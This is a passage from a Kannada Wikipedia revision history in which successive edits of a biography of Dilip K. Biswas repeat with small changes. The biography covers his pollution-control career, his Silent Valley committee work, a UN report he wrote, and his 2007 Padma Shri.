ವ್ಯಕ್ತಿಗಳು]]</nowiki> 6jb5g8a0uftkim5zcolx69shqwo0hvd 1116573 1116572 2022-08-24T06:21:10Z Pavanaja 5 wikitext text/x-wiki   '''ದಿಲೀಪ್ ಕೆ. ಬಿಸ್ವಾಸ್''' ಭಾರತೀಯ ಪರಿಸರವಾದಿ ಮತ್ತು ಕೇಂದ್ರ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಮಂಡಳಿ ಮತ್ತು ದೆಹಲಿ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಸಮಿತಿಯ ಮಾಜಿ ಅಧ್ಯಕ್ಷರು. <ref name="Kashmir Ecology and Environment: New Concerns and Strategies">{{Cite book|url=https://books.google.com/books?id=stRIOj66c9gC&q=D.+K.+Biswas&pg=PA11|title=Kashmir Ecology and Environment: New Concerns and Strategies|last=Saligram Bhatt|publisher=APH Publishing|year=2004|isbn=9788176486019|pages=305}}</ref> ಅವರು [[ಸೈಲೆಂಟ್ ವ್ಯಾಲಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ|ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯಲ್ಲಿ]] ಪರಿಸರ ಅಧ್ಯಯನಗಳನ್ನು ನಡೆಸಿದ ಸಮಿತಿಯ ಸದಸ್ಯರಾಗಿದ್ದರು ಮತ್ತು ಆ ಪ್ರದೇಶದಲ್ಲಿ ಜಲವಿದ್ಯುತ್ ಯೋಜನೆಯ ಕಾರ್ಯಸಾಧ್ಯತೆಯನ್ನು ಪರಿಶೀಲಿಸಿದರು. ಅಂತಿಮವಾಗಿ ಯೋಜನೆಯ ವಿರುದ್ಧ ಶಿಫಾರಸು ಮಾಡಿದರು. ಇದು ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯನ್ನು [[ಭಾರತದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನಗಳು|ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ]] ಘೋಷಿಸಲು ಕಾರಣವಾಯಿತು. <ref name="Environment, Development and Society in Contemporary India:An Introduction">{{Cite book|url=https://books.google.com/books?id=Xt9KHerkrkAC&q=Dilip+K.+Biswas&pg=PA180|title=Environment, Development and Society in Contemporary India:An Introduction|last=Prasad|publisher=Macmillan|year=2008|isbn=9780230635302|pages=438}}</ref> ಅವರು ''ಏಷ್ಯಾ ಮತ್ತು ಪೆಸಿಫಿಕ್‌ನಲ್ಲಿ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ ಅನುಷ್ಠಾನದ ಲೇಖಕರಾಗಿದ್ದಾರೆ.'' [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] ಸೂಚಿಸಿದ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ (ಸಿಡಿಎಂ) ಅನುಷ್ಠಾನಕ್ಕೆ ಮಾರ್ಗದರ್ಶಿಯಾಗಿ [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ ಸಂಸ್ಥೆ|ವಿಶ್ವಸಂಸ್ಥೆ]] ಪ್ರಕಟಿಸಿದ ವರದಿ -''ಸಮಸ್ಯೆಗಳು, ಸವಾಲುಗಳು ಮತ್ತು ಅವಕಾಶಗಳು - ಇದು ಅವರು ತಯಾರಿಸಿದ ವರದಿ.''<ref name="Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities">{{Cite book|url=https://books.google.com/books?id=iHvZiVYXC10C&q=Dilip+K.+Biswas&pg=PP4|title=Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities|last=Dilip K. Biswas|publisher=United Nations Publications|year=2003|isbn=9789211203844|pages=36}}</ref> ಭಾರತದ [[ಉತ್ತರ ಪ್ರದೇಶ|ಉತ್ತರ ಪ್ರದೇಶದ]] ರಾಜಧಾನಿಯಾದ [[ಲಕ್ನೋ|ಲಕ್ನೋದಲ್ಲಿ]] ಪರಿಸರ ನಿರ್ವಹಣಾ ಕಾನೂನುಗಳ ಕರಡು ರಚನೆಯ ಹಿಂದೆ ಅವರ ಕೊಡುಗೆ ಇದೆ.<ref name="A Report on State of Environment Lucknow">{{Cite web|url=http://www.cpcb.nic.in/upload/Publications/Publication_31_sec1_52.pdf|title=A Report on State of Environment Lucknow|date=2016|publisher=Central Pollution Control Board|access-date=14 January 2016}}</ref> ಭಾರತ ಸರ್ಕಾರವು ಅವರಿಗೆ ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನಕ್ಕೆ ನೀಡಿದ ಕೊಡುಗೆಗಳಿಗಾಗಿ ೨೦೦೭ ರಲ್ಲಿ ದೇಶದ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವಾದ [[ಪದ್ಮಶ್ರೀ|ಪದ್ಮಶ್ರೀಯ]]ನ್ನು ನೀಡಿ ಪುರಸ್ಕರಿಸಿತು. <ref name="Padma Awards">{{Cite web|url=http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|title=Padma Awards|date=2016|publisher=Ministry of Home Affairs, Government of India|archive-url=https://web.archive.org/web/20151015193758/http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|archive-date=15 October 2015|access-date=3 January 2016}}</ref> == ಸಹ ನೋಡಿ ==   * ಕ್ಲೀನ್ ಡೆವಲಪ್ಮೆಂಟ್ ಮೆಕ್ಯಾನಿಸಂ * [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] * ಸೈಲೆಂಟ್ ವ್ಯಾಲಿ ಉಳಿಸಿ == ಉಲ್ಲೇಖಗಳು == {{Reflist|30em}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * {{Cite book|url=https://books.google.com/books?id=8PjBzy4cnF8C&q=Dilip+K.+Biswas&pg=PA2|title=A Guidebook for Local Catchment Management in Cities|last=Prof. Mwara (author), Dilip K Biswas (editor)|publisher=UN-HABITAT|year=2005|isbn=9789211317572|pages=107}} [[ವರ್ಗ:ಜೀವಂತ ವ್ಯಕ್ತಿಗಳು]]< nnse2gksu9ek38ds8rus3fhgmbeqgbn 1116574 1116573 2022-08-24T06:21:58Z Pavanaja 5 /* ಸಹ ನೋಡಿ */ wikitext text/x-wiki   '''ದಿಲೀಪ್ ಕೆ. ಬಿಸ್ವಾಸ್''' ಭಾರತೀಯ ಪರಿಸರವಾದಿ ಮತ್ತು ಕೇಂದ್ರ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಮಂಡಳಿ ಮತ್ತು ದೆಹಲಿ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಸಮಿತಿಯ ಮಾಜಿ ಅಧ್ಯಕ್ಷರು. <ref name="Kashmir Ecology and Environment: New Concerns and Strategies">{{Cite book|url=https://books.google.com/books?id=stRIOj66c9gC&q=D.+K.+Biswas&pg=PA11|title=Kashmir Ecology and Environment: New Concerns and Strategies|last=Saligram Bhatt|publisher=APH Publishing|year=2004|isbn=9788176486019|pages=305}}</ref> ಅವರು [[ಸೈಲೆಂಟ್ ವ್ಯಾಲಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ|ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯಲ್ಲಿ]] ಪರಿಸರ ಅಧ್ಯಯನಗಳನ್ನು ನಡೆಸಿದ ಸಮಿತಿಯ ಸದಸ್ಯರಾಗಿದ್ದರು ಮತ್ತು ಆ ಪ್ರದೇಶದಲ್ಲಿ ಜಲವಿದ್ಯುತ್ ಯೋಜನೆಯ ಕಾರ್ಯಸಾಧ್ಯತೆಯನ್ನು ಪರಿಶೀಲಿಸಿದರು. ಅಂತಿಮವಾಗಿ ಯೋಜನೆಯ ವಿರುದ್ಧ ಶಿಫಾರಸು ಮಾಡಿದರು. ಇದು ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯನ್ನು [[ಭಾರತದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನಗಳು|ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ]] ಘೋಷಿಸಲು ಕಾರಣವಾಯಿತು. <ref name="Environment, Development and Society in Contemporary India:An Introduction">{{Cite book|url=https://books.google.com/books?id=Xt9KHerkrkAC&q=Dilip+K.+Biswas&pg=PA180|title=Environment, Development and Society in Contemporary India:An Introduction|last=Prasad|publisher=Macmillan|year=2008|isbn=9780230635302|pages=438}}</ref> ಅವರು ''ಏಷ್ಯಾ ಮತ್ತು ಪೆಸಿಫಿಕ್‌ನಲ್ಲಿ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ ಅನುಷ್ಠಾನದ ಲೇಖಕರಾಗಿದ್ದಾರೆ.'' [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] ಸೂಚಿಸಿದ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ (ಸಿಡಿಎಂ) ಅನುಷ್ಠಾನಕ್ಕೆ ಮಾರ್ಗದರ್ಶಿಯಾಗಿ [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ ಸಂಸ್ಥೆ|ವಿಶ್ವಸಂಸ್ಥೆ]] ಪ್ರಕಟಿಸಿದ ವರದಿ -''ಸಮಸ್ಯೆಗಳು, ಸವಾಲುಗಳು ಮತ್ತು ಅವಕಾಶಗಳು - ಇದು ಅವರು ತಯಾರಿಸಿದ ವರದಿ.''<ref name="Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities">{{Cite book|url=https://books.google.com/books?id=iHvZiVYXC10C&q=Dilip+K.+Biswas&pg=PP4|title=Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities|last=Dilip K. Biswas|publisher=United Nations Publications|year=2003|isbn=9789211203844|pages=36}}</ref> ಭಾರತದ [[ಉತ್ತರ ಪ್ರದೇಶ|ಉತ್ತರ ಪ್ರದೇಶದ]] ರಾಜಧಾನಿಯಾದ [[ಲಕ್ನೋ|ಲಕ್ನೋದಲ್ಲಿ]] ಪರಿಸರ ನಿರ್ವಹಣಾ ಕಾನೂನುಗಳ ಕರಡು ರಚನೆಯ ಹಿಂದೆ ಅವರ ಕೊಡುಗೆ ಇದೆ.<ref name="A Report on State of Environment Lucknow">{{Cite web|url=http://www.cpcb.nic.in/upload/Publications/Publication_31_sec1_52.pdf|title=A Report on State of Environment Lucknow|date=2016|publisher=Central Pollution Control Board|access-date=14 January 2016}}</ref> ಭಾರತ ಸರ್ಕಾರವು ಅವರಿಗೆ ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನಕ್ಕೆ ನೀಡಿದ ಕೊಡುಗೆಗಳಿಗಾಗಿ ೨೦೦೭ ರಲ್ಲಿ ದೇಶದ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವಾದ [[ಪದ್ಮಶ್ರೀ|ಪದ್ಮಶ್ರೀಯ]]ನ್ನು ನೀಡಿ ಪುರಸ್ಕರಿಸಿತು. <ref name="Padma Awards">{{Cite web|url=http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|title=Padma Awards|date=2016|publisher=Ministry of Home Affairs, Government of India|archive-url=https://web.archive.org/web/20151015193758/http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|archive-date=15 October 2015|access-date=3 January 2016}}</ref> == ಸಹ ನೋಡಿ == * [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] == ಉಲ್ಲೇಖಗಳು == {{Reflist|30em}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * {{Cite book|url=https://books.google.com/books?id=8PjBzy4cnF8C&q=Dilip+K.+Biswas&pg=PA2|title=A Guidebook for Local Catchment Management in Cities|last=Prof. Mwara (author), Dilip K Biswas (editor)|publisher=UN-HABITAT|year=2005|isbn=9789211317572|pages=107}} [[ವರ್ಗ:ಜೀವಂತ ವ್ಯಕ್ತಿಗಳು]]< kuziu25om8u32y10chw6v8h4lbq890e 1116575 1116574 2022-08-24T06:22:52Z Pavanaja 5 /* ಬಾಹ್ಯ ಕೊಂಡಿಗಳು */ wikitext text/x-wiki   '''ದಿಲೀಪ್ ಕೆ. ಬಿಸ್ವಾಸ್''' ಭಾರತೀಯ ಪರಿಸರವಾದಿ ಮತ್ತು ಕೇಂದ್ರ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಮಂಡಳಿ ಮತ್ತು ದೆಹಲಿ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಸಮಿತಿಯ ಮಾಜಿ ಅಧ್ಯಕ್ಷರು. <ref name="Kashmir Ecology and Environment: New Concerns and Strategies">{{Cite book|url=https://books.google.com/books?id=stRIOj66c9gC&q=D.+K.+Biswas&pg=PA11|title=Kashmir Ecology and Environment: New Concerns and Strategies|last=Saligram Bhatt|publisher=APH Publishing|year=2004|isbn=9788176486019|pages=305}}</ref> ಅವರು [[ಸೈಲೆಂಟ್ ವ್ಯಾಲಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ|ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯಲ್ಲಿ]] ಪರಿಸರ ಅಧ್ಯಯನಗಳನ್ನು ನಡೆಸಿದ ಸಮಿತಿಯ ಸದಸ್ಯರಾಗಿದ್ದರು ಮತ್ತು ಆ ಪ್ರದೇಶದಲ್ಲಿ ಜಲವಿದ್ಯುತ್ ಯೋಜನೆಯ ಕಾರ್ಯಸಾಧ್ಯತೆಯನ್ನು ಪರಿಶೀಲಿಸಿದರು. ಅಂತಿಮವಾಗಿ ಯೋಜನೆಯ ವಿರುದ್ಧ ಶಿಫಾರಸು ಮಾಡಿದರು. ಇದು ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯನ್ನು [[ಭಾರತದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನಗಳು|ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ]] ಘೋಷಿಸಲು ಕಾರಣವಾಯಿತು. <ref name="Environment, Development and Society in Contemporary India:An Introduction">{{Cite book|url=https://books.google.com/books?id=Xt9KHerkrkAC&q=Dilip+K.+Biswas&pg=PA180|title=Environment, Development and Society in Contemporary India:An Introduction|last=Prasad|publisher=Macmillan|year=2008|isbn=9780230635302|pages=438}}</ref> ಅವರು ''ಏಷ್ಯಾ ಮತ್ತು ಪೆಸಿಫಿಕ್‌ನಲ್ಲಿ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ ಅನುಷ್ಠಾನದ ಲೇಖಕರಾಗಿದ್ದಾರೆ.'' [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] ಸೂಚಿಸಿದ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ (ಸಿಡಿಎಂ) ಅನುಷ್ಠಾನಕ್ಕೆ ಮಾರ್ಗದರ್ಶಿಯಾಗಿ [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ ಸಂಸ್ಥೆ|ವಿಶ್ವಸಂಸ್ಥೆ]] ಪ್ರಕಟಿಸಿದ ವರದಿ -''ಸಮಸ್ಯೆಗಳು, ಸವಾಲುಗಳು ಮತ್ತು ಅವಕಾಶಗಳು - ಇದು ಅವರು ತಯಾರಿಸಿದ ವರದಿ.''<ref name="Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities">{{Cite book|url=https://books.google.com/books?id=iHvZiVYXC10C&q=Dilip+K.+Biswas&pg=PP4|title=Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities|last=Dilip K. Biswas|publisher=United Nations Publications|year=2003|isbn=9789211203844|pages=36}}</ref> ಭಾರತದ [[ಉತ್ತರ ಪ್ರದೇಶ|ಉತ್ತರ ಪ್ರದೇಶದ]] ರಾಜಧಾನಿಯಾದ [[ಲಕ್ನೋ|ಲಕ್ನೋದಲ್ಲಿ]] ಪರಿಸರ ನಿರ್ವಹಣಾ ಕಾನೂನುಗಳ ಕರಡು ರಚನೆಯ ಹಿಂದೆ ಅವರ ಕೊಡುಗೆ ಇದೆ.<ref name="A Report on State of Environment Lucknow">{{Cite web|url=http://www.cpcb.nic.in/upload/Publications/Publication_31_sec1_52.pdf|title=A Report on State of Environment Lucknow|date=2016|publisher=Central Pollution Control Board|access-date=14 January 2016}}</ref> ಭಾರತ ಸರ್ಕಾರವು ಅವರಿಗೆ ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನಕ್ಕೆ ನೀಡಿದ ಕೊಡುಗೆಗಳಿಗಾಗಿ ೨೦೦೭ ರಲ್ಲಿ ದೇಶದ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವಾದ [[ಪದ್ಮಶ್ರೀ|ಪದ್ಮಶ್ರೀಯ]]ನ್ನು ನೀಡಿ ಪುರಸ್ಕರಿಸಿತು. <ref name="Padma Awards">{{Cite web|url=http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|title=Padma Awards|date=2016|publisher=Ministry of Home Affairs, Government of India|archive-url=https://web.archive.org/web/20151015193758/http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|archive-date=15 October 2015|access-date=3 January 2016}}</ref> == ಸಹ ನೋಡಿ == * [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] == ಉಲ್ಲೇಖಗಳು == {{Reflist|30em}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * {{Cite book|url=https://books.google.com/books?id=8PjBzy4cnF8C&q=Dilip+K.+Biswas&pg=PA2|title=A Guidebook for Local Catchment Management in Cities|last=Prof. Mwara (author), Dilip K Biswas (editor)|publisher=UN-HABITAT|year=2005|isbn=9789211317572|pages=107}} [[ವರ್ಗ:ಜೀವಂತ ವ್ಯಕ್ತಿಗಳು]] 3g3pjxnu859qiw16nsj7rufjsczp9zc 1116576 1116575 2022-08-24T06:25:03Z Pavanaja 5 wikitext text/x-wiki {{Infobox person | name = ದಿಲಿಪ್ ಕೆ. ಬಿಸ್ವಾಸ್ | image = | imagesize = | caption = | birth_date = | birth_place = [[ಭಾರತ]] | death_date = | death_place = | restingplace = | restingplacecoordinates = | othername = | occupation = ಪರಿಸರವಾದಿ | yearsactive = | known for = ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ | spouse = | domesticpartner = | children = | parents = | website = | awards = [[ಪದ್ಮಶ್ರೀ]] }} '''ದಿಲೀಪ್ ಕೆ. ಬಿಸ್ವಾಸ್''' ಭಾರತೀಯ ಪರಿಸರವಾದಿ ಮತ್ತು ಕೇಂದ್ರ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಮಂಡಳಿ ಮತ್ತು ದೆಹಲಿ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಸಮಿತಿಯ ಮಾಜಿ ಅಧ್ಯಕ್ಷರು. <ref name="Kashmir Ecology and Environment: New Concerns and Strategies">{{Cite book|url=https://books.google.com/books?id=stRIOj66c9gC&q=D.+K.+Biswas&pg=PA11|title=Kashmir Ecology and Environment: New Concerns and Strategies|last=Saligram Bhatt|publisher=APH Publishing|year=2004|isbn=9788176486019|pages=305}}</ref> ಅವರು [[ಸೈಲೆಂಟ್ ವ್ಯಾಲಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ|ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯಲ್ಲಿ]] ಪರಿಸರ ಅಧ್ಯಯನಗಳನ್ನು ನಡೆಸಿದ ಸಮಿತಿಯ ಸದಸ್ಯರಾಗಿದ್ದರು ಮತ್ತು ಆ ಪ್ರದೇಶದಲ್ಲಿ ಜಲವಿದ್ಯುತ್ ಯೋಜನೆಯ ಕಾರ್ಯಸಾಧ್ಯತೆಯನ್ನು ಪರಿಶೀಲಿಸಿದರು. ಅಂತಿಮವಾಗಿ ಯೋಜನೆಯ ವಿರುದ್ಧ ಶಿಫಾರಸು ಮಾಡಿದರು. ಇದು ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯನ್ನು [[ಭಾರತದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನಗಳು|ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ]] ಘೋಷಿಸಲು ಕಾರಣವಾಯಿತು. <ref name="Environment, Development and Society in Contemporary India:An Introduction">{{Cite book|url=https://books.google.com/books?id=Xt9KHerkrkAC&q=Dilip+K.+Biswas&pg=PA180|title=Environment, Development and Society in Contemporary India:An Introduction|last=Prasad|publisher=Macmillan|year=2008|isbn=9780230635302|pages=438}}</ref> ಅವರು ''ಏಷ್ಯಾ ಮತ್ತು ಪೆಸಿಫಿಕ್‌ನಲ್ಲಿ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ ಅನುಷ್ಠಾನದ ಲೇಖಕರಾಗಿದ್ದಾರೆ.'' [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] ಸೂಚಿಸಿದ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ (ಸಿಡಿಎಂ) ಅನುಷ್ಠಾನಕ್ಕೆ ಮಾರ್ಗದರ್ಶಿಯಾಗಿ [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ ಸಂಸ್ಥೆ|ವಿಶ್ವಸಂಸ್ಥೆ]] ಪ್ರಕಟಿಸಿದ ವರದಿ -''ಸಮಸ್ಯೆಗಳು, ಸವಾಲುಗಳು ಮತ್ತು ಅವಕಾಶಗಳು - ಇದು ಅವರು ತಯಾರಿಸಿದ ವರದಿ.''<ref name="Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities">{{Cite book|url=https://books.google.com/books?id=iHvZiVYXC10C&q=Dilip+K.+Biswas&pg=PP4|title=Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities|last=Dilip K. Biswas|publisher=United Nations Publications|year=2003|isbn=9789211203844|pages=36}}</ref> ಭಾರತದ [[ಉತ್ತರ ಪ್ರದೇಶ|ಉತ್ತರ ಪ್ರದೇಶದ]] ರಾಜಧಾನಿಯಾದ [[ಲಕ್ನೋ|ಲಕ್ನೋದಲ್ಲಿ]] ಪರಿಸರ ನಿರ್ವಹಣಾ ಕಾನೂನುಗಳ ಕರಡು ರಚನೆಯ ಹಿಂದೆ ಅವರ ಕೊಡುಗೆ ಇದೆ.<ref name="A Report on State of Environment Lucknow">{{Cite web|url=http://www.cpcb.nic.in/upload/Publications/Publication_31_sec1_52.pdf|title=A Report on State of Environment Lucknow|date=2016|publisher=Central Pollution Control Board|access-date=14 January 2016}}</ref> ಭಾರತ ಸರ್ಕಾರವು ಅವರಿಗೆ ವಿಜ್ಞಾನ ಮತ್ತು ತಂತ್ರಜ್ಞಾನಕ್ಕೆ ನೀಡಿದ ಕೊಡುಗೆಗಳಿಗಾಗಿ ೨೦೦೭ ರಲ್ಲಿ ದೇಶದ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವಾದ [[ಪದ್ಮಶ್ರೀ|ಪದ್ಮಶ್ರೀಯ]]ನ್ನು ನೀಡಿ ಪುರಸ್ಕರಿಸಿತು. <ref name="Padma Awards">{{Cite web|url=http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|title=Padma Awards|date=2016|publisher=Ministry of Home Affairs, Government of India|archive-url=https://web.archive.org/web/20151015193758/http://mha.nic.in/sites/upload_files/mha/files/LST-PDAWD-2013.pdf|archive-date=15 October 2015|access-date=3 January 2016}}</ref> == ಸಹ ನೋಡಿ == * [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] == ಉಲ್ಲೇಖಗಳು == {{Reflist|30em}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * {{Cite book|url=https://books.google.com/books?id=8PjBzy4cnF8C&q=Dilip+K.+Biswas&pg=PA2|title=A Guidebook for Local Catchment Management in Cities|last=Prof. Mwara (author), Dilip K Biswas (editor)|publisher=UN-HABITAT|year=2005|isbn=9789211317572|pages=107}} [[ವರ್ಗ:ಜೀವಂತ ವ್ಯಕ್ತಿಗಳು]] 1rvyhopghasusda05lu7igq0quh1w4d 1116577 1116576 2022-08-24T06:30:35Z Pavanaja 5 Pavanaja moved page [[ಸದಸ್ಯ:Pavanaja/ದಿಲಿಪ್ ಕೆ. ಬಿಸ್ವಾಸ್]] to [[ದಿಲಿಪ್ ಕೆ. ಬಿಸ್ವಾಸ್]] without leaving a redirect: ಲೇಖನ ತಯಾರಾಗಿದೆ wikitext text/x-wiki {{Infobox person | name = ದಿಲಿಪ್ ಕೆ. ಬಿಸ್ವಾಸ್ | image = | imagesize = | caption = | birth_date = | birth_place = [[ಭಾರತ]] | death_date = | death_place = | restingplace = | restingplacecoordinates = | othername = | occupation = ಪರಿಸರವಾದಿ | yearsactive = | known for = ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ | spouse = | domesticpartner = | children = | parents = | website = | awards = [[ಪದ್ಮಶ್ರೀ]] }} '''ದಿಲೀಪ್ ಕೆ. ಬಿಸ್ವಾಸ್''' ಭಾರತೀಯ ಪರಿಸರವಾದಿ ಮತ್ತು ಕೇಂದ್ರ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಮಂಡಳಿ ಮತ್ತು ದೆಹಲಿ ಮಾಲಿನ್ಯ ನಿಯಂತ್ರಣ ಸಮಿತಿಯ ಮಾಜಿ ಅಧ್ಯಕ್ಷರು. <ref name="Kashmir Ecology and Environment: New Concerns and Strategies">{{Cite book|url=https://books.google.com/books?id=stRIOj66c9gC&q=D.+K.+Biswas&pg=PA11|title=Kashmir Ecology and Environment: New Concerns and Strategies|last=Saligram Bhatt|publisher=APH Publishing|year=2004|isbn=9788176486019|pages=305}}</ref> ಅವರು [[ಸೈಲೆಂಟ್ ವ್ಯಾಲಿ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನ|ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯಲ್ಲಿ]] ಪರಿಸರ ಅಧ್ಯಯನಗಳನ್ನು ನಡೆಸಿದ ಸಮಿತಿಯ ಸದಸ್ಯರಾಗಿದ್ದರು ಮತ್ತು ಆ ಪ್ರದೇಶದಲ್ಲಿ ಜಲವಿದ್ಯುತ್ ಯೋಜನೆಯ ಕಾರ್ಯಸಾಧ್ಯತೆಯನ್ನು ಪರಿಶೀಲಿಸಿದರು. ಅಂತಿಮವಾಗಿ ಯೋಜನೆಯ ವಿರುದ್ಧ ಶಿಫಾರಸು ಮಾಡಿದರು. ಇದು ಸೈಲೆಂಟ್ ವ್ಯಾಲಿಯನ್ನು [[ಭಾರತದ ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನಗಳು|ರಾಷ್ಟ್ರೀಯ ಉದ್ಯಾನವನವಾಗಿ]] ಘೋಷಿಸಲು ಕಾರಣವಾಯಿತು. <ref name="Environment, Development and Society in Contemporary India:An Introduction">{{Cite book|url=https://books.google.com/books?id=Xt9KHerkrkAC&q=Dilip+K.+Biswas&pg=PA180|title=Environment, Development and Society in Contemporary India:An Introduction|last=Prasad|publisher=Macmillan|year=2008|isbn=9780230635302|pages=438}}</ref> ಅವರು ''ಏಷ್ಯಾ ಮತ್ತು ಪೆಸಿಫಿಕ್‌ನಲ್ಲಿ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ ಅನುಷ್ಠಾನದ ಲೇಖಕರಾಗಿದ್ದಾರೆ.'' [[ಕ್ಯೋಟೋ ಶಿಷ್ಟಾಚಾರ|ಕ್ಯೋಟೋ ಪ್ರೋಟೋಕಾಲ್]] ಸೂಚಿಸಿದ ಸ್ವಚ್ಛ ಅಭಿವೃದ್ಧಿಯ ಪ್ರಕ್ರಿಯೆಯ (ಸಿಡಿಎಂ) ಅನುಷ್ಠಾನಕ್ಕೆ ಮಾರ್ಗದರ್ಶಿಯಾಗಿ [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ ಸಂಸ್ಥೆ|ವಿಶ್ವಸಂಸ್ಥೆ]] ಪ್ರಕಟಿಸಿದ ವರದಿ -''ಸಮಸ್ಯೆಗಳು, ಸವಾಲುಗಳು ಮತ್ತು ಅವಕಾಶಗಳು - ಇದು ಅವರು ತಯಾರಿಸಿದ ವರದಿ.''<ref name="Implementation of the Clean Development Mechanism in Asia and the Pacific: Issues, Challenges, and Opportunities">{{Cite 